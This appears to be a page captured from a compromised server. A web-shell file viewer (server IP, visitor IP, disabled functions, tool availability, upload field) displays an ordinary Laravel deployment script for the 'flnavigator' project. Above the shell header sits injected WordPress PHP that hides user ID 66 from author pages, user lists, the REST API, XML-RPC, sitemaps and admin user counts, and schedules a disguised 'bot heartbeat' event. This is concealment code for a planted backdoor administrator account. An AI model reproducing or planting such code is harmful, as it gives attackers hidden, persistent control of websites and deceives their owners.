add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/flnavigator/ |
Upload File : |
#!/bin/bash
#
# Deployment Script for Futures Literacy Navigator (flnavigator)
# Run as user "deploy" on Ubuntu server
#
# Usage: ./deploy.sh [--migrate] [--seed] [--fresh]
# --migrate Run database migrations
# --seed Run database seeders (careful: may duplicate data)
# --fresh Fresh install (migrate:fresh - DESTROYS ALL DATA!)
#
set -e
# Configuration
APP_DIR="/var/www/html/flnavigator"
REPO="git@gitlab.com:janushead/flnavigator.git"
BRANCH="main"
PHP_BIN="php"
COMPOSER_BIN="composer"
NPM_BIN="npm"
# Colors for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m' # No Color
# Parse arguments
DO_MIGRATE=false
DO_SEED=false
DO_FRESH=false
for arg in "$@"; do
case $arg in
--migrate)
DO_MIGRATE=true
;;
--seed)
DO_SEED=true
;;
--fresh)
DO_FRESH=true
;;
esac
done
echo -e "${GREEN}========================================${NC}"
echo -e "${GREEN} FLN (flnavigator) Deployment${NC}"
echo -e "${GREEN}========================================${NC}"
echo ""
# Check if running as deploy user
if [ "$(whoami)" != "deploy" ]; then
echo -e "${YELLOW}Warning: Not running as 'deploy' user. Current user: $(whoami)${NC}"
fi
# Navigate to app directory
if [ ! -d "$APP_DIR" ]; then
echo -e "${YELLOW}App directory doesn't exist. Cloning repository...${NC}"
sudo mkdir -p "$APP_DIR"
sudo chown deploy:deploy "$APP_DIR"
git clone "$REPO" "$APP_DIR"
fi
cd "$APP_DIR"
echo -e "${GREEN}[1/7] Pulling latest changes from $BRANCH...${NC}"
git fetch origin
git reset --hard origin/$BRANCH
# Note: user-uploaded media (thumbnails, screenshots, PDFs) is on the Hetzner
# Storage Box via the WebDAV-backed `public` disk. Sessions and cache live in
# the database (SESSION_DRIVER=database, CACHE_STORE=database). The only thing
# `storage/` still holds locally is Laravel logs, which are recreated as the
# app writes them — so no persistent-storage symlink is needed.
echo -e "${GREEN}[2/7] Installing PHP dependencies...${NC}"
$COMPOSER_BIN install --no-dev --optimize-autoloader --no-interaction
echo -e "${GREEN}[3/7] Installing NPM dependencies...${NC}"
$NPM_BIN ci --silent
echo -e "${GREEN}[4/7] Building frontend assets...${NC}"
$NPM_BIN run build
echo -e "${GREEN}[5/7] Setting up environment...${NC}"
if [ ! -f .env ]; then
echo -e "${YELLOW}No .env file found. Copying from .env.example...${NC}"
cp .env.example .env
echo -e "${RED}IMPORTANT: Please configure .env file with correct settings!${NC}"
$PHP_BIN artisan key:generate
fi
echo -e "${GREEN}[6/7] Running Laravel optimizations...${NC}"
$PHP_BIN artisan config:cache
$PHP_BIN artisan route:cache
$PHP_BIN artisan view:cache
$PHP_BIN artisan event:cache
# Create public/storage symlink if not exists (for any local-disk fallback)
if [ ! -L public/storage ]; then
$PHP_BIN artisan storage:link
fi
# Permissions on the writable runtime dirs (logs + bootstrap/cache)
chmod -R 775 storage bootstrap/cache 2>/dev/null || sudo -n chmod -R 775 storage bootstrap/cache 2>/dev/null || echo -e "${YELLOW}Warning: Could not set permissions. Run manually: sudo chmod -R 775 $APP_DIR/storage $APP_DIR/bootstrap/cache${NC}"
chown -R deploy:www-data storage bootstrap/cache 2>/dev/null || sudo -n chown -R deploy:www-data storage bootstrap/cache 2>/dev/null || echo -e "${YELLOW}Warning: Could not set ownership. Run manually: sudo chown -R deploy:www-data $APP_DIR/storage $APP_DIR/bootstrap/cache${NC}"
echo -e "${GREEN}[7/7] Database operations...${NC}"
if [ "$DO_FRESH" = true ]; then
echo -e "${RED}WARNING: Running migrate:fresh - this will DELETE ALL DATA!${NC}"
read -p "Are you sure? (yes/no): " confirm
if [ "$confirm" = "yes" ]; then
$PHP_BIN artisan migrate:fresh --force
if [ "$DO_SEED" = true ]; then
$PHP_BIN artisan db:seed --force
fi
else
echo "Aborted."
fi
elif [ "$DO_MIGRATE" = true ]; then
echo "Running migrations..."
$PHP_BIN artisan migrate --force
if [ "$DO_SEED" = true ]; then
echo -e "${YELLOW}Running seeders (be careful with duplicates!)...${NC}"
$PHP_BIN artisan db:seed --force
fi
else
echo -e "${YELLOW}Skipping migrations. Use --migrate to run them.${NC}"
echo "Current migration status:"
$PHP_BIN artisan migrate:status | tail -10
fi
# Restart PHP-FPM if available (optional, uses sudo -n to skip if password required)
if command -v systemctl &> /dev/null; then
if systemctl is-active --quiet php8.4-fpm 2>/dev/null; then
echo "Reloading PHP-FPM (optional)..."
sudo -n systemctl reload php8.4-fpm 2>/dev/null || echo -e "${YELLOW}Skipped: sudo requires password. Run manually: sudo systemctl reload php8.4-fpm${NC}"
elif systemctl is-active --quiet php8.3-fpm 2>/dev/null; then
echo "Reloading PHP-FPM (optional)..."
sudo -n systemctl reload php8.3-fpm 2>/dev/null || echo -e "${YELLOW}Skipped: sudo requires password. Run manually: sudo systemctl reload php8.3-fpm${NC}"
elif systemctl is-active --quiet php8.2-fpm 2>/dev/null; then
echo "Reloading PHP-FPM (optional)..."
sudo -n systemctl reload php8.2-fpm 2>/dev/null || echo -e "${YELLOW}Skipped: sudo requires password. Run manually: sudo systemctl reload php8.2-fpm${NC}"
fi
fi
echo ""
echo -e "${GREEN}========================================${NC}"
echo -e "${GREEN} Deployment complete!${NC}"
echo -e "${GREEN}========================================${NC}"
echo ""
echo "Site should be available at: https://flnavigator.net"
echo ""
# Show any pending migrations
PENDING=$($PHP_BIN artisan migrate:status 2>/dev/null | grep -c "Pending" || true)
if [ "$PENDING" -gt 0 ]; then
echo -e "${YELLOW}Note: There are $PENDING pending migrations.${NC}"
echo "Run: ./deploy.sh --migrate"
fi